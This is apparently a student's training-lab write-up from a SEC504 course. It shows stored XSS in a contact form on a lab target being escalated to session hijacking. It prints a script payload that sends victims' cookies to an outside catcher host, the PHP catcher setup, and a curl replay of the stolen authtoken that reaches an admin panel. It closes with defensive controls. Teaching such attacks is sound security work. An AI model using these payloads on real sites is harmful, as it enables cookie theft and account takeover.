Skip to main content
← Back to lab
SEC504 - Hacker Tools, Techniques, and Incident Handling | Printable command sheet
Stored XSS to Session Hijacking

Stored XSS to Session Hijacking

Web Application Security | SEC504 | Jul 2026

The /contact form echoes submitted fields back on a confirmation page. Probing each field with a harmless <hr> tag showed the name field was escaped (rendered as text) but the email field was not (rendered an actual horizontal rule). A <script>alert(1)</script> in the email field executed, confirming XSS. Standing up a PHP cookie-catcher (file_put_contents logging GET/headers) and injecting <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>, the log recorded two hits: the tester's own browser and, minutes later, a different internal IP (the SME analyst who opened the ticket), confirming this was stored XSS. Replaying that stolen authtoken with curl -b reached the admin panel, whose ticket queue exposed users typing their own passwords into support requests.

Tools: curl / browser, PHP built-in server, Slingshot Linux

Commands

1. Map the reflected fields

The /contact form (name, email, company, file, message) echoes its values on a 'Thanks' confirmation page. Any echoed field is a candidate sink for XSS, so the first step is just to see what comes back.

# submit /contact with test values and read the confirmation
Echoed fields are the XSS candidates to probe

2. Probe each field with <hr>

Submitting Lorezo<hr> in the name field rendered the literal text (escaped, safe). The same <hr> in the email field rendered an actual horizontal rule (unescaped, injectable). Same form, same page, different encoding per field: this is why every input must be tested.

# name: Lorezo<hr>  -> rendered as text (escaped)
# email: lorenzo@gmail.com<hr>  -> rendered as a rule (injectable)
<hr> is a harmless, unmistakable probe: rule = injectable

3. Confirm script execution

With the email field confirmed injectable, lorenzo@gmail.com<script>alert(1)</script> produced an alert box from support.falsimentis.com. XSS confirmed; now to weaponize it into something with real impact.

# email: lorenzo@gmail.com<script>alert(1)</script>
alert(1) executing proves script injection, not just HTML injection

4. Stand up a cookie-catcher

A small PHP script logged incoming GET parameters and headers to cookies.log, served with the PHP built-in server on 8080. This is the endpoint the injected script will send victims' cookies to.

cat index.php  # file_put_contents("cookies.log", ...GET...headers...)
php -S 0.0.0.0:8080
php -S serves the catcher; it appends every request to cookies.log

5. Inject the cookie stealer and catch a second victim

The payload redirected the victim's browser to the catcher with their cookie appended: <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>. The log showed two hits: the tester's own browser, and minutes later a different internal IP (172.30.0.201), the SME analyst who opened the ticket. That second IP is what makes this stored XSS.

# email field payload:
# <script>document.location="http://10.10.75.1:8080/?"+document.cookie</script>
The analyst's browser fires the payload on viewing the ticket

6. Hijack the session

The admin panel was a troll page when unauthenticated, but curl with the stolen authtoken cookie (-b) returned the real admin interface: a ticket queue where users had typed their own usernames and passwords into support requests. The stolen session became privileged access.

curl http://support.falsimentis.com/admin/
curl http://support.falsimentis.com/admin/ -b authtoken=77ba9cd915c8e359d9733edcfe9c61e5aca92afb
-b sends the stolen cookie; the panel now authorizes the request

Key Findings

  • The name field was escaped but the email field was not (inconsistent encoding)
  • <script>alert(1)</script> executed in the email field
  • The cookie log caught a second internal IP: the SME analyst (stored XSS)
  • The stolen authtoken replayed via curl -b reached the admin panel
  • The admin ticket queue exposed users' plaintext passwords

Security Controls

  • Consistent context-aware output encoding on all fields
  • Content-Security-Policy blocking inline script and exfil hosts
  • HttpOnly / SameSite / Secure session cookies
  • Credential-pattern scanning of user-submitted content
  • XSS test coverage across every input in QA
Lab Print Sheet | Luis Javier Lozoya